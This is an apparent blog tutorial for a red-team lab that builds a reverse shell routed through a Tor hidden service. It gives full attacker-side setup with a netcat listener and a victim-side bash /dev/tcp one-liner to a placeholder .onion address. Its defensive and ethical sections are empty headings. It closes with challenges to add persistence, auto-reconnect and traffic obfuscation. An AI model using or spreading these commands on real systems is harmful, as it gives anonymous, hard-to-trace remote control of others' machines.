Tor-Routed Reverse Shell Lab (Free Port Forwarding Alternative)

📅 Published March 26, 2026 ·red-teamtornetwork-securitylab-setup

Author: Aryan Giri


🎯 Objective

Build a fully working reverse shell using Tor hidden services — no public IP, no paid TCP port forwarding.

👉 This solves:


🧠 LAB ARCHITECTURE


⚙️ ATTACKER SIDE (Step-by-Step)

1. Install Tor

sudo apt update
sudo apt install tor -y

2. Configure Hidden Service

sudo nano /etc/tor/torrc

Add at bottom:

HiddenServiceDir /var/lib/tor/reverse_shell/
HiddenServicePort 5555 127.0.0.1:5555

3. Restart Tor

sudo systemctl restart tor

4. Get Your .onion Address

sudo cat /var/lib/tor/reverse_shell/hostname

Save this:

example123abc.onion

5. Start Listener

nc -lvnp 5555

👉 Your machine is now waiting for incoming shell


💻 TARGET MACHINE (VICTIM VM)

1. Install Tor + torsocks

sudo apt update
sudo apt install tor torsocks -y
sudo systemctl start tor

2. Execute Reverse Shell

Replace onion address:

torsocks bash -i >& /dev/tcp/example123abc.onion/5555 0>&1

🔥 RESULT (What You Should See)

On attacker terminal:

whoami
id
pwd

👉 You now control the target machine remotely


💡 WHY THIS IS POWERFUL

❌ Traditional Method Problems

✅ Tor Method Advantages

👉 Tor acts like a free global port forwarding layer


🔍 WHAT'S HAPPENING INTERNALLY


🧪 TROUBLESHOOTING

Test Tor on Target

torsocks curl https://check.torproject.org

Check Hidden Service

sudo systemctl status tor
sudo cat /var/lib/tor/reverse_shell/hostname

Permission Fix

sudo torsocks bash -i >& /dev/tcp/example123abc.onion/5555 0>&1

🛡️ DEFENSIVE INSIGHT

Detection signs:


⚖️ ETHICAL NOTE

This technique is used in:

👉 Use ONLY in:


🚀 CHALLENGE

Level up this lab:

  1. Add persistence (cron/systemd)
  2. Replace bash with Python reverse shell
  3. Auto-reconnect on disconnect
  4. Obfuscate traffic (obfs4)

⚡ FINAL MISSION

Build a Tor-based resilient agent that reconnects automatically after reboot.